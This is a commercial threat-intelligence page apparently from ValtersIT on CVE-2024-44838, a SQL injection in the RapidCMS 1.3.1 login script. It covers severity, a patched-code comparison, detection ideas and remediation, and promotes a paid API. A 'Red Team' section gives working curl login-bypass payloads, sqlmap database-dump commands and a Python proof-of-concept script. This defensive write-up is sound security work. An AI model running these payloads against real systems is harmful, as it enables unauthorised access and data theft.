☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-44838

CVE-2024-44838 SQL Injection in Rapidcms
📅 PUBLISHED: 2024-09-06 00:00 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.3.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-44838 is a critical SQL injection vulnerability discovered in RapidCMS v1.3.1, specifically within the /resource/runlogin.php endpoint. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands via the username parameter, potentially leading to complete database compromise, data exfiltration, and lateral movement within the network. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is critical (9.8). No official patch or advisory has been released by the vendor, making this a zero-day threat for all instances running RapidCMS v1.3.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RapidCMS is a PHP-based content management system. The vulnerability exists in the core login functionality, not in any third-party package. However, administrators should audit all dependencies (e.g., PHP extensions, database drivers) for known vulnerabilities. The lack of a patch means the supply chain risk is elevated—any deployment of RapidCMS v1.3.1 is directly exploitable.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Ability to modify or delete data.
  • Availability (A): High (H) – Potential to disrupt database service.

Threat Level: Critical (9.8) – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the runlogin.php script, which handles user authentication. The username parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by submitting a crafted username value.

Vulnerable Code Snippet (conceptual):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

The lack of input validation allows an attacker to break out of the string context and execute arbitrary SQL. For example, submitting admin' OR '1'='1 as the username would result in:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '...'

This bypasses authentication entirely.

Vulnerable vs. Patched Code

Vulnerable Code (runlogin.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // login success
} else {
    // login failed
}
?>

Patched Code (recommended):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
} else {
    // login failed
}
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: RapidCMS v1.3.1 running on Apache/Nginx with PHP and MySQL.
  • Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -X POST http://target.com/resource/runlogin.php -d "username=admin&password=test"
    
  2. Manual SQL injection:

    curl -X POST http://target.com/resource/runlogin.php -d "username=admin' OR '1'='1' -- -&password=test"
    
  3. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/resource/runlogin.php" --data="username=admin&password=test" --batch --dump
    
  4. Extract database:

    sqlmap -u "http://target.com/resource/runlogin.php" --data="username=admin&password=test" --batch --dbs
    

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/resource/runlogin.php"
payload = {"username": "admin' OR '1'='1' -- -", "password": "test"}
response = requests.post(target, data=payload)
if "Login successful" in response.text:
    print("[+] SQL injection successful - authentication bypassed")
else:
    print("[-] Exploit failed")

Blue Team (Defensive)

Detection & Response:

  • Monitor HTTP POST requests to /resource/runlogin.php for unusual username parameters containing SQL keywords (e.g., OR, AND, UNION, SELECT).
  • Enable database query logging to detect anomalous SQL statements.
  • Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot Setup:

  • Deploy a decoy RapidCMS instance with enhanced logging to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /resource/runlogin.php with username containing SQL metacharacters (', ", --, #, /*).
    • Outbound database connections from the web server to unusual IPs (data exfiltration).
  • File IOCs:
    • Modified runlogin.php file (if attacker uploads a webshell).
    • Suspicious files in /resource/ directory (e.g., cmd.php, shell.php).
  • Log IOCs:
    • Database error logs showing syntax errors near ' OR '1'='1'.
    • Web server access logs with %27 (URL-encoded single quote) in the username parameter.

Detection Engineering

YARA Rule

YARA RULE
CVE_2024_44838_SQLi_RapidCMS
Detects SQL injection attempts targeting RapidCMS runlogin.php
Reference: CVE-2024-44838
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
SQL Injection Attempt Against RapidCMS runlogin.php
Detects SQL injection attempts targeting the username parameter in RapidCMS runlogin.php
Logsource: apache · accesslog · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2024-44838 SQL Injection Attempt Against RapidCMS runlogin.php
Protocol: HTTP · class: web-application-attack · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems: Disconnect RapidCMS instances from the internet until patched.
  2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting /resource/runlogin.php.
  3. Implement input validation: Sanitize the username parameter using filter_var() or htmlspecialchars().

Long-term Fix:

  • Replace all dynamic SQL queries with prepared statements or parameterized queries.
  • Upgrade to a patched version of RapidCMS (if/when available) or migrate to a supported CMS.

Compensating Controls:

  • Enforce least privilege for database accounts used by the application.
  • Enable database audit logging and monitor for suspicious queries.
  • Conduct regular security code reviews and penetration testing.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 3 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-44838/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.